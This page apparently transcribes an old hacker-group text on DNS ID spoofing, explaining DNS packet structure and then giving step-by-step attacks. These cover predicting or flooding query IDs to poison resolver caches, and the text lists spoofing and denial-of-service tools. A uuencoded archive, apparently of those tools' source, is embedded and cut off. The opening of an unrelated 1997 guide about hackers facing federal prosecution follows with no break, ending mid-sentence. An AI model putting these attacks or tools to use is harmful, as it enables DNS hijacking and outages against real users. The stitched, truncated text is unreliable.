DNS ID Hacking - HudsonCress.net
Transcription
DNS ID Hacking - HudsonCress.net
___ / | / \ ..oO THE ______ \ | _ _ | \ / | \ | | \_/ | | |___| | | |_ / | | \_/ | | --- | | | | '''' '''' ''' | | | \ _ | | ''' / ''''''' CreW Oo.. presents DNS ID Hacking (and even more !!) with colors & in images ;)) --[1]-- DNS ID Hacking Presentation w00w00! Hi people you might be wondering what DNS ID Hacking (or Spoofing) is. DNS ID Hacking isn't a usual way of hacking/spoofing such jizz or any-erect. This method is based on a vulnerability on DNS Protocol. More brutal, the DNS ID hack/spoof is very efficient is very strong because there is no generation of DNS daemons that escapes from it (even WinNT!). --[1.1]-- DNS Protocol mechanism explanation In the first step, you must know how the DNS works. I will only explain the most important facts of this protocol. In order to do that, we will follow the way of a DNS request packet from A to Z! 1: the client (bla.bibi.com) sends a request of resolution of the domain "www.heike.com". To resolve the name, bla.bibi.com uses "dns.bibi.com" for DNS. Let's take a look at the following picture.. /---------------------------------\ | 111.1.2.123 = bla.bibi.com | | 111.1.2.222 = dns.bibi.com | | format: | | IP_ADDR:PORT->IP_ADDR:PORT | | ex: | | 111.1.2.123:2999->111.1.2.222:53| \---------------------------------/ ... gethosbyname("www.heike.com"); ... [bla.bibi.com] [dns.bibi.com] 111.1.2.123:1999 --->[?www.heike.com]------> 111.1.2.222:53 Here we see our resolution name request from source port 1999 which is asking to dns on port 53. [note: DNS is always on port 53] Now that dns.bibi.com has received the resolution request from bla.bibi.com, dns.bibi.com will have to resolve the name, let's look at it... [dns.bibi.com] [ns.internic.net] 111.1.2.222:53 -------->[dns?www.heike.com]----> 198.41.0.4:53 dns.bibi.com asks ns.internic.net who the root name server for the address of www.heike.com is, and if it doesn't have it and sends the request to a name server which has authority on '.com' domains. [note: we ask to internic because it could have this request in its cache] [ns.internic.net] [ns.bibi.com] 198.41.0.4:53 ------>[ns for.com is 144.44.44.4]------> 111.1.2.222:53 Here we can see that ns.internic.net answered to ns.bibi.com (which is the DNS that has authority over the domain bibi.com), that the name server of for.com has the IP 144.44.44.4 [let's call it ns.for.com]. Now our ns.bibi.com will ask to ns.for.com for the address of www.heike.com, but this one doesn't have it and will forward the request to the DNS of heike.com which has authority for heike.com. [ns.bibi.com] [ns.for.com] 111.1.2.222:53 ------>[?www.heike.com]-----> 144.44.44.4:53 answer from ns.for.com [ns.for.com] [ns.bibi.com] 144.44.44.4:53 ------>[ns for heike.com is 31.33.7.4]---> 144.44.44.4:53 Now that we know which IP address has authority on the domain "heike.com" [we'll call it ns.heike.com], we ask it what's the IP of the machine www [www.heike.com then :)]. [ns.bibi.com] [ns.heike.com] 111.1.2.222:53 ----->[?www.heike.com]----> 31.33.7.4:53 And now we at least have our answer!! [ns.heike.com] [ns.bibi.com] 31.33.7.4:53 ------->[www.heike.com == 31.33.7.44] ----> 111.1.2.222:53 Great we have the answer, we can forward it to our client bla.bibi.com. [ns.bibi.com] [bla.bibi.com] 111.1.2.222:53 ------->[www.heike.com == 31.33.7.44]----> 111.1.2.123:1999 Hehe now bla.bibi.com knows the IP of www.heike.com :) So.. now let's imagine that we'd like to have the name of a machine from its IP, in order to do that, the way to proceed will be a little different because the IP will have to be transformed: example: 100.20.40.3 will become 3.40.20.100.in-addr.arpa Attention!! This method is only for the IP resolution request (reverse DNS) So let's look in practical when we take the IP of www.heike.com (31.33.7.44 or "44.7.33.31.in-addr.arpa" after the translation into a comprehensible format by DNS). ... gethostbyaddr("31.33.7.44"); ... [bla.bibi.com] [ns.bibi.com] 111.1.2.123:2600 ----->[?44.7.33.31.in-addr.arpa]-----> 111.1.2.222:53 We sent our request to ns.bibi.com [ns.bibi.com] [ns.internic.net] 111.1.2.222:53 ----->[?44.7.33.31.in-addr.arpa]------> 198.41.0.4:53 ns.internic.net will send the IP of a name server which has authority on '31.in-addr.arpa'. [ns.internic.net] [ns.bibi.com] 198.41.0.4:53 --> [DNS for 31.in-addr.arpa is 144.44.44.4] -> 111.1.2.222:53 Now ns.bibi.com will ask the same question to the DNS at 144.44.44.4. [ns.bibi.com] [ns.for.com] 111.1.2.222:53 ----->[?44.7.33.31.in-addr.arpa]------> 144.44.44.4:53 and so on... In fact the mechanism is nearly the same that was used for name resolution. I hope you understood the dialog on how DNS works. Now let's study DNS messages format. --[1.2]-- DNS packet Here is the format of a DNS message : +---------------------------+---------------------------+ | ID (the famous :) | flags | +---------------------------+---------------------------+ | numbers of questions | numbers of answer | +---------------------------+---------------------------+ | number of RR authority |number of supplementary RR | +---------------------------+---------------------------+ | | \ \ \ QUESTION \ | | +-------------------------------------------------------+ | | \ \ \ ANSWER \ | | +-------------------------------------------------------+ | | \ \ \ Stuff etc.. | No matter \ | +-------------------------------------------------------+ --[1.3]-- Structure of DNS packets. __ID__ The ID permits to identify each DNS packet, since exchanges between name servers are from port 53 to port 53, and more it might be more than one request at a time, so the ID is the only way to recognize the different DNS requests. Well talk about it later.. __flags__ The flags area is divided into several parts : 4 bits 3 bits (always 0) | | | | [QR | opcode | AA| TC| RD| RA | zero | rcode ] | | |__|__|__| | |______ 4 bits |_ 1 bit | 1 bit QR = If the QR bit = 0, it means that the packet is a question, otherwise it's an answer. opcode = If the value is 0 for a normal request, 1 for a reserve request, and 2 for a status request (we don't need to know all these modes). AA = If it's equal to 1, it says that the name server has an authoritative answer. TC = No matter RD = If this flag is to 1, it means "Recursion Request", for example when bla.bibi.com asks ns.bibi.com to resolve the name, the flag tells the DNS to assume this request. RA = If it's set to 1, it means that recursion is available. This bit is set to 1 in the answer of the name server if it supports recursion. Zero = Here are three zeroes... rcode = It contains the return error messages for DNS requests if 0, it means "no error", 3 means "name error" The 2 following flags don't have any importance for us. DNS QUESTION: Here is the format of a DNS question : +-----------------------------------------------------------------------+ | name of the question | +-----------------------------------------------------------------------+ | type of question | type of query | +--------------------------------+--------------------------------------+ The structure of the question is like this. example: www.heike.com will be [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0] for an IP address it's the same thing :) 44.33.88.123.in-addr.arpa would be: [2|4|4|2|3|3|2|8|8|3|1|2|3|7|i|n|-|a|d|d|r|4|a|r|p|a|0] [note]: a compression format exists, but we won't use it. type of question: Here are the values that we will use most times: [note]: There are more than 20 types of different values(!) and I'm fed up with writing :)) name A value | PTR | 1 | IP Address ( resolving a name to an IP ) 12 | Pointer ( resolving an IP to a name ) type of query: The values are the same than the type of question (i don't know if it's true, but the goal is not to learn you DNS protocol from A to Z, for it you should look at the RFC from 1033 to 1035 and 1037, here the goal is a global knowledge in order to put it in practice !!) DNS ANSWER: The answers have a format that we call RR.. but we don't mind :) Here is the format of an answer (an RR) +------------------------------------------------------------------------+ | name of the domain | +------------------------------------------------------------------------+ | type | class | +----------------------------------+-------------------------------------+ | TTL (time to live) | +------------------------------------------------------------------------+ | resource data length | | |----------------------------+ | | | resource data +------------------------------------------------------------------------name of the domain: The name of the domain in reports to the following resource: The domain name is stored in the same way that the part question for the resolution request of www.heike.com, the flag "name of the domain" will contain [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0] type: The type flag is the same than "type of query" in the question part of the packet. class: The class flag is equal to 1 for Internet data. time to live: This flag explains in seconds the time-life of the informations into the name server cache. resource data length: The length of resource data, for example if resource data length is 4, it means that the data in resources data are 4 bytes long. resource data: here we put the IP for example (at least in our case) I will offer you a little example that explains this better: Here is what's happening when ns.bibi.com asks ns.heike.com for www.heike.com's address ns.bibi.com:53 ---> [?www.heike.com] ----> ns.heike.com:53 (Phear Heike ;) +---------------------------------+--------------------------------------+ | ID = 1999 | QR = 0 opcode = 0 RD = 1 | +---------------------------------+--------------------------------------+ | numbers of questions = htons(1) | numbers of answers = 0 | +---------------------------------+--------------------------------------+ | number of RR authoritative = 0 | number of supplementary RR = 0 | +---------------------------------+--------------------------------------+ <the question part> +------------------------------------------------------------------------+ | name of the question = [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0] | +------------------------------------------------------------------------+ | type of question = htons(1) | type of query=htons(1) | +---------------------------------+--------------------------------------+ here is for the question. now let's stare the answer of ns.heike.com ns.heike.com:53 -->[IP of www.heike.com is 31.33.7.44] --> ns.bibi.com:53 +---------------------------------+---------------------------------------+ | ID = 1999 | QR=1 opcode=0 RD=1 AA =1 RA=1 | +---------------------------------+---------------------------------------+ | numbers of questions = htons(1) | numbers of answers = htons(1) | +---------------------------------+---------------------------------------+ | number of RR authoritative = 0 | number of supplementary RR = 0 | +---------------------------------+---------------------------------------+ +-------------------------------------------------------------------------+ | name of the question = [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0] | +-------------------------------------------------------------------------+ | type of question = htons(1) | type of query = htons(1) | +-------------------------------------------------------------------------+ +-------------------------------------------------------------------------+ | name of the domain = [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0] | +-------------------------------------------------------------------------+ | type = htons(1) | class = htons(1) | +-------------------------------------------------------------------------+ | time to live = 999999 | +-------------------------------------------------------------------------+ | resource data length = htons(4) | resource data=inet_addr("31.33.7.44") | +-------------------------------------------------------------------------+ Yah! That's all for now :)) Here is an analysis: In the answer QR = 1 because it's an answer :) AA = 1 because the name server has authority in its domain RA = 1 because recursion is available Good =) I hope you understood that cause you will need it for the following events. --[2.0]-- DNS ID hack/spoof Now it's time to explain clearly what DNS ID hacking/spoofing is. Like I explained before, the only way for the DNS daemon to recognize the different questions/answers is the ID flag in the packet. Look at this example: ns.bibi.com;53 ----->[?www.heike.com] ------> ns.heike.com:53 So you only have to spoof the ip of ns.heike.com and answer your false information before ns.heike.com to ns.bibi.com! ns.bibi.com <------- . . . . . . . . . . . ns.heike.com | |<--[IP for www.heike.com is 1.2.3.4]<-- hum.roxor.com But in practice you have to guess the good ID :) If you are on a LAN, you can sniff to get this ID and answer before the name server (it's easy on a Local Network :) If you want to do this remotely you don't have a lot a choices, you only have 4 basics methods: 1.) Randomly test all the possible values of the ID flag. You must answer before the ns ! (ns.heike.com in this example). This method is obsolete unless you want to know the ID .. or any other favorable condition to its prediction. 2.) Send some DNS requests (200 or 300) in order to increase the chances of falling on the good ID. 3.) Flood the DNS in order to avoid its work. The name server will crash and show the following error! >> Oct 06 05:18:12 ADM named[1913]: db_free: DB_F_ACTIVE set - ABORT at this time named daemon is out of order :) 4.) Or you can use the vulnerability in BIND discovered by SNI (Secure Networks, Inc.) with ID prediction (we will discuss this in a bit). ##################### Windows ID Vulnerability ########################### I found a heavy vulnerability in Windows 95 (I haven't tested it on WinNT), lets imagine my little friend that's on Windows 95. Windows ID's are extremely easy to predict because it's "1" by default :))) and "2" for the second question (if they are 2 questions at the same time). ######################## BIND Vulnerability ############################## There is a vulnerability in BIND (discovered by SNI as stated earlier). In fact, DNS IS are easily predictable, you only have to sniff a DNS in order to do what you want. Let me explain... The DNS uses a random ID at the beginning but it only increase this ID for next questions ... =))) It's easy to exploit this vulnerability. Here is the way: 1. Be able to sniff easily the messages that comes to a random DNS (ex. ns.dede.com for this sample). 2. You ask NS.victim.com to resolve (random).dede.com. NS.victim.com will ask to ns.dede.com to resolve (random).dede.com ns.victim.com ---> [?(rand).dede.com ID = 444] ---> ns.dede.com 3. Now you have the ID of the message from NS.victim.com, now you know what ID area you'll have to use. (ID = 444 in this sample). 4. You then make your resolution request. ex. www.microsoft.com to NS.victim.com (you) ---> [?www.microsoft.com] ---> ns.victim.com ns.victim.com --> [?www.microsoft.com ID = 446 ] --> ns.microsoft.com 5. Flood the name server ns.victim.com with the ID (444) you already have and then you increase this one. ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 444] --> ns.victim.com ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 445] --> ns.victim.com ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 446] --> ns.victim.com ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 447] --> ns.victim.com ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 448] --> ns.victim.com ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 449] --> ns.victim.com (now you know that DNS IDs are predictable, and they only increase. You flood ns.victim.com with spoofed answers with the ID 444+ ;) *** ADMsnOOfID does this. There is another way to exploit this vulnerability without a root on any DNS The mechanism is very simple. Here is the explaination We send to ns.victim.com a resolution request for *.provnet.fr (you) ----------[?(random).provnet.fr] -------> ns.victim.com Then, ns.victim.com asks ns1.provnet.fr to resolve (random).provnet.fr. There is nothing new here, but the interesting part begins here. From this point you begin to flood ns.victim.com with spoofed answers (with ns1.provnet.fr IP) with ids from 100 to 110... (spoof) ----[(random).provnet.fr is 1.2.3.4 ID=100] --> ns.victim.com (spoof) ----[(random).provnet.fr is 1.2.3.4 ID=101] --> ns.victim.com (spoof) ----[(random).provnet.fr is 1.2.3.4 ID=102] --> ns.victim.com (spoof) ----[(random).provnet.fr is 1.2.3.4 ID=103] --> ns.victim.com ..... After that, we ask ns.victim.com if (random).provnet.fr has an IP. If ns.victim.com give us an IP for (random).provnet.fr then we have found the correct ID :) Otherwise we have to repeat this attack until we find the ID. It's a bit long but it's effective. And nothing forbides you to do this with friends ;) This is how ADMnOg00d works ;) ------------------------------- ########################################################################## Here you will find 5 programs ADMkillDNS - very simple DNS spoofer ADMsniffID - sniff a LAN and reply false DNS answers before the NS ADMsnOOfID - a DNS ID spoofer (you'll need to be root on a NS) ADMnOg00d - a DNS ID predictor (no need to be root on a NS) ADNdnsfuckr - a very simple denial of service attack to disable DNS Have fun!! :) Note: You can find source and binaries of this progs at ftp.janova.org/pub/ADM. I'm going to make a little HOWTO soon, which would be on janova. You need to install libpcap on your machine before any compilation of the ADMID proggies :) ADM Crew. Thanks to: all ADM crew, Shok, pirus, fyber, Heike, and w00w00 (gotta love these guys) Special Thanks: ackboo, and of course Secure Networks, Inc. (SNI) at www.secnet.com for finding the vulnerability =) /* I'm a w00w00ify'd w00c0w */ /* I'm a w00w00ify'd w00c0w */ /* I'm a w00w00ify'd w00c0w */ begin 644 ADMid-pkg.tgz M'XL(`/,IN30``^P\:U?;UI;]&O^&^;#C66ELK!C9QI#BF#5N(/>R;@(4:._< M(5E>PA98Q99<2<:0+.:WS][[/"7+AK0D[5T3I<72>9^SWWN?<WJ[[_9WI][@ M:OV[+_;`AKO5;L-W0(^;^Y4?L+G1WFRT6YM;#8"&VVXUOX/VEQN2>69)ZL4` MW\51E*XJ=U_^O^G3T_!/XL$7PH'/@K^+[XU&J]'X!O^O\63ACU\ODFD47=0' MC]A'PW4W-S:6PG^KU6P*^+L;+;=-]-]JN0A_]Q''L/3Y?P[_];5'>M9+ZVL` MB$#`"!2$EP!Q-$N#T(>+*!:I,!M.X;Z'FWJT40&4_G/H7]`P]H_^OGM\LO\_ M>]Q-$GSTHXM*DL:S00K!=#2,J[KHS[MVV6Q1G(,H&X2#\6SHPZLD'091?;23 M31H'Y]FT61A@<C9MXD^B^);2[,JWR7IZ._637)N8G$2#*S]=3)][04%J$`W2 M<4$CJ9<K'/KI\'PA"5<B70_"3'HYF-9'9>L;EX,22H\'-`FY];42K$$0]@=7 MR6P"+U[0)[P>^>+;1J[],/5C'"P<Q5$:#:(Q7'B38'P+(]\;^G$"E=?P"_X& M45@M/2J"R;&69F$27(;^$))1%*=ZU!5O.(P=&/O4+SZSOLA?H_0.)P5A2OF= MTB?^C/U+Q!(_YO1P[%^DT!7YF5S=T!RS36.9VK1*77`[F9Z],)ECODCG'%IG MICLXG,7@C2^C.$A'$P@21/S)=.P[,$N(GCUH->$\P#8&@]ED-O927/H*]E)U M8.[3*%1#B?_;S`_3P!M#8Y.KS*-XF$`:09`Z.(8A>"FD(Q_\<.@@",=#.$<A MA+V/*5FU,_#B^);J)W`11Q.ND493V6A"LXPX<1S1I&1RO:3X"/W,1\'8AXI8 MRAUH5`'$2C-EXQ+5NKB*M5I')XJB+[K0%&EW>J%@@IW/IC@!B(8XY-L4%R>X M@-`?^$GBX5AEIY@F>^QVJ4O3XUIEUA^,4.2L52O?"V!4$1I6\APZ^?&)<@NC M\89RV<0Z(4&H=;+6"%<(5T=_R@$*W"#@P0XNRF85:N+K>W!O+O"I=E0/HX`J MFV:L%FJ9)CJ:A<N:8EBRO$:\_\4:IJ@JC[PU''@IP3<_UMA/9W%8D8O5*97N MD-N4&,61^?03Q*%*XB1,:D/^B\(F3IVA^.NEWF7L3?B%.'E5K)_\RX0B%UP3 M\3@B\948NLIG#8NR!(%QW\590RN+@6T)/5#CS%<5CQH\L8F2%$0D"V@<_2!$ M2D4.(=-!2#-J-9A:J4)P82J^=`S'4B-9HSX*TDD[]-.S#;>Y\:%3HO6Z(=81 M"$E.&&")4#&9JJC3@9(4^*:4&@25JHAB-2V8$;@T"%%A<8"+%6I&4%<UU910 MJ"9^*@L[KB/EM_BN$@8]P6&\V$FB63SPJ;-1&H5)A4&':"RSAWZ2BL&+[*'( MEKG(D\'.-2.I:4Q390<DM+BL:S"_I*D<QSN8WE:H6@&Z&FY@5\A,<']Q$4SA M@&9*>%)/^O1#P[!16Q89YHH,%XM<"Q%*N1O9G&`T!KD:[6Q.FNJ<YD8N+U#8 MW84894(TJ52?M7]XF2LU53*]BQK<T?'AZ6$?USK72Y3V&2`*&D;7J]G*7`T* MEC6P(&0$9D&.ENH5R:HE`(J6_X\^C]=0Z0DRASK^WQ=*4;?WIK]_L'?:,1D6 MZ+L2[CJ/D+ZKZ0$S],ANNL1ZTPB9KV02#A11IJ8'!US'3.S)DTJ.D:U5O\<> MG9R^K7*9<$M2&-S@!XN!Q]<Z"U?Q>._U+W#4^\?>Z>>LO6COTD_[TZNT(G1W M!];.9Q<7*`K%1`'-(E)A1&*U<V][CSM?9NAZA,QUF%]62U(R9MFP%!*<)\41 M+!-'2K5U8C^9X2>^=C5L@Y"(A7*ZL3^X)K7%[AZ96A[^(-'C>]*FN2YA`HC& M[S2Z_]D6];_7L^#_V3TX:3ZJ]^<^_T]CH]%LY?P_S<WF-__/5WD^GYT(%HEH M`LH%0!;X=.S=PASM1LX1T@`J@RI[A'X7VT+6I+PQ`'O'QX?'\*)A)6$_2JHW MFE;ZZ;^.]OH]0JQ\XM'I,145+&]R2RI'I4H,C+Y_1;4/?NTV:A7\JD*ET7;K M[IHHLUXY[AWL]M_U_KO6J+M5PWPJOTHQE#,/1E&2-H.I5!,2/[ZNEMB^+V:5 M;-S++*J*IC.LC?"O4B?PASZ[R*<I__PV]"9^A=NE(L%%A;+)UCSX^>W;JF*MK,F<?_3C2&LLQ$$M"8L?/!TX'T2H@5(K+W9&?>&UR-31>H(#JA3RX<MTQ-5E MAYF"4J'`[#M2=4NEZP@5/AHY(LS$2V7SE."(UY]."!R(7J^/>T=HB;[M37QX M?8@HMETE).)2XVA\UG)=%VT1_DXGT[-FNVU_-U4"`18"Q^OB2HAUP-K*',!7 MFKM(QUHJ'5\SZ4TKHRF4$)P.SJ$28+O!*P0<KD2%YE'M!+6:\/1HDQ^!@]8] MY=:"*H'H>?TY0/63I>`ETQA'*CIPRL\&SY*RXSDT#EN?Q'[00.89\$CLO&63 M*"BQ,!U3AM?)?-YI7<T?)TA%M-)>K?:!W15R0K+\G;:]5D^F8`Z4A*CWTXE# M`"%L$0V5%A!F_TBB3#!UI#9"PI]P1GQY\=3#P96#\`4C('V7)5J<CSW""H4E M7GQA?XZ\429[('_7>F?*Z"4T:CE7M$02-[!)M9;X:G`&VU;I^&K2J1.50>^, M2P:/-AAY""]Z9P$NLB*_B3<>1X/*1M50,Q5P..'N\P=36D#=8*H1E]%R0+;. M%/N0'DK$X('$7(6W$I"],^^#0^UV)*YX+UY(E+C2R+1L(`9S&+\()%<"O0:4 M23FE@IXXN6C9=%E:"UHBV8>56JZ7J]J-)M#,RB5\P6R+15$J@XK=*(2GA'$J MZ4[B*<L3[\J?XO_I3R<5HRD[%H^C4N35)WPMX9K2.ZVJ%%AB"E;?7(D:$2-> MJT!%>WU10%%.30*02]4:5:AJ`UBT*E$DWQM*PGQW2%R/T"$US)4U0X"'-=6R MFVI(=))"-E.PS1:2\`%FUKWWSR7K#IIIV!!@DEX4(<L8*2TA?%F(-1Y::V&M MK)4.NMG5XB8EZG)+@37`H!ODQM,Q$%L<1%"MBHX6<6Q)A5I35%F8(I9E3<DJ MNJ&*_B">%:V^S+:ZL:+5ALMENUHE"Z10E;B%)43UNP(0D\)8#&0MFS,$A"CV M2.3S>Y#@/O`K(&80H)+'@!70E.!?-N+E\/\BX-=.6S%\@H@:?7;"A`,&8`;N M;FVQZAWQ%58[R+7UV\Q/TB`*U7"3/FD>\F-('TO8NU+FAV%"SNXU_,76A1XR MN[@X:PA?>L:E`I(C\6\4=AOR-8F]N>0_%7KO"C=217KQG)/#U__H'_?^Z2CG M*+Y76=%DHTG@[]2/8Y2895%7RD#_)D@KHI#AV=016A8IE8RF*7?I:,?K_A&] M]]'PVC]X_=8R$2)C5$1H4EC]/W9[-!\]'=VNF%)N1@A+7'D[^J``4F4XR&A# M5W=;H=2:L2RK1M?##*U?X3O+!&S-.+&[L(E624W9E1V1^UNL<EV9$NOR#9GB M>?DRB'C]D"-TAG!$97^:R7`Q(^C:N@=+/\&C"!D[)1,B ---------------------------------------------------------------EVERYTHING A HACKER NEEDS TO KNOW ABOUT GETTING BUSTED BY THE FEDS ---------------------------------------------------------------Written By Agent Steal (From Federal Prison, 1997) Internet E-mail, agentsteal@usa.net Contributions and editing by Minor Threat and Netta Gilboa Special thanks to Evian S. Sim This article may be freely reproduced, in whole or in part, provided acknowledgments are given to the author. Any reproduction for profit, lame zines, (that means you t0mmy, el8, you thief) or law enforcement use is prohibited. The author and contributors to this phile in no way advocate criminal behavior. ---------------CONTENTS ---------------PART I - FEDERAL CRIMINAL LAW Foreward Introduction A. Relevant Conduct B. Preparing for Trial C. Plea Agreements and Attorneys D. Conspiracy E. Sentencing F. Use of Special Skill G. Getting Bail H. State v. Federal Charges I. Cooperating J. Still Thinking About Trial K. Search and Seizure L. Surveillance M. Presentence Investigation N. Proceeding Pro Se O. Evidentiary Hearing P. Return of Property Q. Outstanding Warrants R. Encryption S. Summary PART II - FEDERAL PRISON A. State v. Federal B. Security Levels C. Getting Designated D. Ignorant Inmates E. Population F. Doing Time G. Disciplinary Action H. Administrative Remedy I. Prison Officials J. The Hole K. Good Time L. Halfway House M. Supervised Release N. Summary FOREWORD Nobody wants to get involved in a criminal case and I've yet to meet a hacker who was fully prepared for it happening to them. There are thousands of paper and electronic magazines, CD-ROMS, web pages and text files about hackers and hacking available, yet there is nothing in print until now that specifically covers what to do when an arrest actually happens to you. Most hackers do not plan for an arrest by hiding their notes or encrypting their data, and most of them have some sort of address book seized from them too (the most famous of which still remains the one seized from The Not So Humble Babe). Most of them aren't told the full scope of the investigation up front, and as the case goes on more comes to light, often only at the last minute. Invariably, the hacker in question was wiretapped and/or narced on by someone previously raided who covered up their own raid or minimized it in order to get off by implicating others. Once one person goes down it always affects many others later. My own experience comes from living with a retired hacker arrested ten months after he had stopped hacking for old crimes because another hacker informed on him in exchange for being let go himself. What goes around, comes around. It's food for thought that the hacker you taunt today will be able to cut a deal for himself by informing on you later. From what I've seen on the criminal justice system as it relates to hackers, the less enemies you pick on the better and the less groups you join and people who you i nteract with the better as well. There's a lot to be said for being considered a lamer and having no one really have anything to pin on you when the feds ask around. I met Agent Steal, ironically, as a result of the hackers who had fun picking on me at Defcon. I posted the speech I gave there on the Gray Areas web page (which I had not originally intended to post, but decided to after it was literally stolen out of my hands so I could not finish it) and someone sent Agent Steal a copy while he was incarcerated. He wrote me a letter of support, and while several hackers taunted me that I had no friends in the community and was not wanted, and one even mailbombed our CompuServe account causing us to lose the account and our email there, I laughed knowing that this article was in progress and that of all of the publications it could have been given to first it was Gray Areas that was chosen. This article marks the first important attempt at cooperation to inform the community as a whole (even our individual enemies) about how best to protect themselves. I know there will be many more hacker cases until hackers work together instead of attacking each other and making it so easy for the government to divide them. It's a sad reality that NAMBLA, deadheads, adult film stars and bookstores, marijuana users and other deviant groups are so much more organized than hackers who claim to be so adept at, and involved with, gathering and using information. Hackers are simply the easiest targets of any criminal subculture. While Hackerz.org makes nice T-shirts (which they don't give free or even discount to hackers in jail, btw), they simply don't have the resources to help hackers in trouble. Neither does the EFF, which lacks lawyers willing to work pro bono (free) in most of the 50 states. Knight Lightning still owes his attorney money. So does Bernie S. This is not something that disappears from your life the day the case is over. 80% or more of prisoners lose their lovers and/or their families after the arrest. While there are notable exceptions, this has been true for more hackers than I care to think about. The FBI or Secret Service will likely visit your lovers and try to turn them against you. The mainstream media will lie about your charges, the facts of your case and the outcome. If you're lucky they'll remember to use the word "allegedly." While most hackers probably think Emmanuel Goldstein and 2600 will help them, I know of many hackers whose cases he ignored totally when contacted. Although he's credited for helping Phiber Optik, in reality Phiber got more jail time for going to trial on Emmanuel's advice than his co-defendants who didn't have Emmanuel help them and pled instead. Bernie S. got his jaw broken perhaps in part from the government's anger at Emmanuel's publicizing of the case, and despite all the attention Emmanuel has gotten for Kevin Mitnick it didn't stop Mitnick's being put in solitary confinement or speed up his trial date any. One thing is clear though. Emmanuel's sales of 2600 dramatically increased as a result of covering the above cases to the tune of over 25,000 copies per issue. It does give pause for thought, if he cares so much about the hackers and not his own sales and fame, as to why he has no ties to the Hackerz.org defense fund or why he has not started something useful of his own. Phrack and other zines historically have merely reposted incorrect newspaper reports which can cause the hackers covered even more damage. Most of your hacker friends who you now talk to daily will run from you after your arrest and will tell other people all sorts of stories to cover up the fact they don't know a thing. Remember too that your "friends" are the people most likely to get you arrested too, as even if your phone isn't wiretapped now theirs may be, and the popular voice bridges and conference calls you talk to them on surely are. They say information wants to be free, and so here is a gift to the community (also quite applicable to anyone accused of any federal crime if one substitutes another crime for the word hacking). Next time you put down a hacker in jail and laugh about how they are getting raped while you're on IRC, remember that someone is probably logging you and if you stay active it's a good bet your day will come too. You won't be laughing then, and I hope you'll have paid good attention when you're suddenly in jai l with no bail granted and every last word you read here turns out to be true. Those of us who have been there before wish you good luck in advance. Remember the next time you put them down that ironically it's them you'll have to turn to for advice shoul d it happen to you. Your lawyer isn't likely to know a thing about computer crimes and it's the cases of the hackers who were arrested before you which, like it or not, will provide the legal precedents for your own conviction. Netta "grayarea" Gilboa INTRODUCTION The likelihood of getting arrested for computer hacking has increased to an unprecedented level. No matter how precautionary or sage you are, you're bound to make mistakes. And the fact of the matter is if you have trusted anyone else with the know ledge of what you are involved in, you have made your first mistake. For anyone active in hacking I cannot begin to stress the importance of the information contained in this file. To those who have just been arrested by the Feds, reading this file could mean the difference between a three-year or a one-year sentence. To those who have never been busted, reading this file will likely change the way you hack, or stop you from hacking altogether. I realize my previous statements are somewhat lofty, but in the 35 months I spent incarcerated I've heard countless inmates say it: "If I knew then what I know now." I doubt that anyone would disagree: The criminal justice system is a game to be played, both by prosecution and defense. And if you have to be a player, you would be wise to learn the rules of engagement. The writer and contributors of this file have learned the hard way. As a result we turned our hacking skills during the times of our incarceration towards the study of criminal law and, ultimately, survival. Having filed our own motions, written our own briefs and endured life in prison, we now pass this knowledge back to the hacker community. Learn from our experiences... and our mistakes. Agent Steal PART I - FEDERAL CRIMINAL LAW A. THE BOTTOM LINE - RELEVANT CONDUCT For those of you with a short G-phile attention span I'm going to cover the single most important topic first. This is probably the most substantial misunderstanding of the present criminal justice system. The subject I am talking about is referred to in legal circles as "relevant conduct." It's a bit complex and I will get into this. However, I have to make his crystal clear so that it will stick in your heads. It boils down to two concepts: I. ONCE YOU ARE FOUND GUILTY OF EVEN ONE COUNT, EVERY COUNT WILL BE USED TO CALCULATE YOUR SENTENCE Regardless of whether you plea bargain to one count or 100, your sentence will be the same. This is assuming we are talking about hacking, code abuse, carding, computer trespass, property theft, etc. All of these are treated the same. Other crimes you committed (but were not charged with) will also be used to calculate your sentence. You do not have to be proven guilty of every act. As long as it appears that you were responsible, or someone says you were, then it can be used against you. I know this sounds insane , but it's true; it's the preponderance of evidence standard for relevant conduct. This practice includes using illegally seized evidence and acquittals as information in increasing the length of your sentence. II. YOUR SENTENCE WILL BE BASED ON THE TOTAL MONETARY LOSS The Feds use a sentencing table to calculate your sentence. It's simple; More Money = More Time. It doesn't matter if you tried to break in 10 times or 10,000 times. Each one could be a count but it's the loss that matters. And an unsuccessful attempt is treated the same as a completed crime. It also doesn't matter if you tried to break into one company's computer or 10. The government will quite simply add all of the estimated loss figures up, and then refer to the sentencing table. B. PREPARING FOR TRIAL I've been trying to be overly simplistic with my explanation. The United States Sentencing Guidelines (U.S.S.G.), are in fact quite complex. So much so that special law firms are forming that deal only with sentencing. If you get busted, I would highly recommend hiring one. In some cases it might be wise to avoid hiring a trial attorney and go straight to one of these "Post Conviction Specialists." Save your money, plead out, do your time. This may sound a little harsh, but considering the fact that the U.S. Attorney's Office has a 95% conviction rate, it may be sage advice. However, I don't want to gloss over the importance of a ready for trial posturing. If you have a strong trial attorney, and have a strong case, it will go a long way towards good plea bargain negotiations. C. PLEA AGREEMENTS AND ATTORNEYS Your attorney can be your worst foe or your finest advocate. Finding the proper one can be a difficult task. Costs will vary and typically the attorney asks you how much cash you can raise and then says, "that amount will be fine". In actuality a simple plea and sentencing should run you around $15,000. Trial fees can easily soar into the 6 figure category. And finally, a post conviction specialist will charge $5000 to $15,000 to handle your sentencing presentation with final arguments. You may however, find yourself at the mercy of The Public Defenders Office. Usually they are worthless, occasionally you'll find one that will fight for you. Essentially it's a crap shoot. All I can say is if you don't like the one you have, fire them and hope you get appointed a better one. If you can scrape together $5000 for a sentencing (post conviction) specialist to work with your public defender I would highly recommend it. This specialist will make certain the judge sees the whole picture and will argue in the most effective manner for a light or reasonable sentence. Do not rely on your public defender to thoroughly present your case. Your sentencing hearing is going to flash by so fast you'll walk out of the court room dizzy. You and your defense team need to go into that hearing fully prepared, having already filed a sentencing memorandum. The plea agreement you sign is going to affect you and your case 